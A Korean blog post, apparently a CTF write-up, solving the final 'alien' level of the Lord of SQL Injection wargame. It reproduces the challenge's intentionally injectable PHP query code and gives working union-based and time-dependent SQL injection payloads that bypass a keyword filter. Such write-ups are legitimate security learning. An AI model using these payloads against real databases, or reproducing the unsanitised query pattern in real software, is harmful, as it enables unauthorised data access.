와 드디어 Lord of SQL InjectionAll Clear 했다. 신난다!! 마지막 문제의 이름은 alien이다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-------------------------------------------------------------
query : select id from prob_alien where no=
-------------------------------------------------------------

-------------------------------------------------------------
query2 : select id from prob_alien where no=''
-------------------------------------------------------------

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysql_fetch_array(mysql_query($query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysql_fetch_array(mysql_query($query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysql_fetch_array(mysql_query($query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysql_fetch_array(mysql_query($query2));
    if($r['id'] === "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>

예전에 뭔가 POXX에서 비슷한 문제가 있었던 것 같은데 잘 기억이 안난다. Write-up도 어딘가에 있을 것 같은데 못찾겠다. 문제를 풀기 위해서는 총 4개의 조건문을 통과해야 한다.

1
2
3
4
1. result !== "admin" : 결과 값이 admin이 아니면 exit => admin 이어야 함 
2. result === "admin" : 결과 값이 admin이면 exit => admin이 아니어야 함  
3. result === "admin" : 결과 값이 admin이면 exit => admin이 아니어야 함  
4. result === "admin" : 결과 값이 admin이면 solve => admin 이어야 함  

1번과 2번은 no싱글쿼터가 없지만, 3번과 4번 조건문에서는 싱글쿼터가 존재한다. 싱글쿼터가 없을 때와 있을 때를 우회 해 원하는 값을 뽑는 것은 생각보다 쉽다.

1
?no=1 union select 1#' union select '1

위와 같이 입력하면 완성되는 $query$query2는 다음과 같다.

1
$query1 : select id from prob_alien where no=1 union select 1#' union select '1
1
$query2 : select id from prob_alien where no='1 union select 1#' union select '1'

첫 번째 쿼리의 경우, #이 주석 처리 되기 때문에 # 이후의 ' union select '1은 체크하지 않는다. 반면 두 번째 쿼리에서는 1 union select 1# 까지가 no의 값으로 들어가기 때문에 # 이후의 union select '1'이 실행된다. 여기까진 쉽게 알아냈는데, 문제는 한 쿼리문으로 어쩔 때는 admin이어야 하고 어쩔 때는 admin이면 안되는 쿼리문을 만들어야 하는 것이었다. 이것도 주변에 물어봐서 풀 수 있었는데, 바로 시간을 활용하면 됬다.

1
?no=1 union select concat(lower(hex(10+(!sleep(1)&&now()%2=1))), 0x646d696e)#' union select concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)#

먼저 첫 번째 쿼리를 살펴보면 다음과 같다. !sleep(1)&&now()%2=1 은 현재 시간에 따라서 0 혹은 1을 반환 해 준다. 이 후, hex(10 + 0 OR 1)이 되는데, 이 때 hex(10)A가, hex(11)B가 된다. 이를 lower()를 통해 소문자로 바꾼 후, concat()을 통해서 0x646d696e와 합친다. 0x646d696edmin이므로, 최종적인 결과 값은 시간에 따라서 admin 혹은 bdmin이 될 것이다.

sleep(1)을 걸어서 첫 번째가 0이라면 바로 다음 두번째로 쿼리를 실행할 때는 1이 나오도록 했다. 두 번째 쿼리에서는 hex(10+가 아니라 hex(9+를 했다. 나와야 하는 결과 값을 살펴보면 순서대로 hex(10) -> hex(11) -> hex(11) -> hex(10)이다. 하지만 계속해서 sleep(1)을 실행하게 되면 무조건 hex(10) -> hex(11) -> hex(10) -> hex(11) 혹은 hex(11) -> hex(10) -> hex(11) -> hex(10)이 나오게 된다. 여기서 hex(10)만 제대로 나오면 되고 hex(11)은 다른 값이 나와도 상관 없으므로, 두 번째 쿼리에서 hex(9+로 바꿔 주어 hex(10) -> hex(11) -> hex(9) -> hex(10)이 나오게 했다. 그러면 나오는 결과는 순서대로 admin -> bdmin -> 9dmin -> admin이 되어 문제를 풀 수 있다. 다만, 처음 쿼리를 실행할 때 admin이 나올 수 있는 시간이어야 하므로 바로 한 번에 문제가 풀리지는 않는다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
query : select id from prob_alien where no=1 union select concat(lower(hex(10+(!sleep(1)&&now()%2=1))), 0x646d696e)#' union select concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)#
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
query2 : select id from prob_alien where no='1 union select concat(lower(hex(10+(!sleep(1)&&now()%2=1))), 0x646d696e)#' union select concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)#'
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ALIEN Clear!
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysql_fetch_array(mysql_query($query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysql_fetch_array(mysql_query($query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysql_fetch_array(mysql_query($query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysql_fetch_array(mysql_query($query2));
    if($r['id'] === "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>

1
ALIEN Clear!!

드디어 Lord of SQL InjectionALL Clear 했다! 아 너무 뿌듯하다 ㅠㅠ 모르는게 너무 많아서 주변에 많이 물어보면서 풀었는데, 이 부분이 좀 아쉽다. 더 열심히 공부해서 아무한테도 안물어보고 문제를 슝슝 풀 수 있게 되었으면 좋겠다! 이제 풀다 말았던 pwnable.kr을 다시 풀어야 겠다. ㅎㅎ


1
Lord of SQL Injection All Clear!!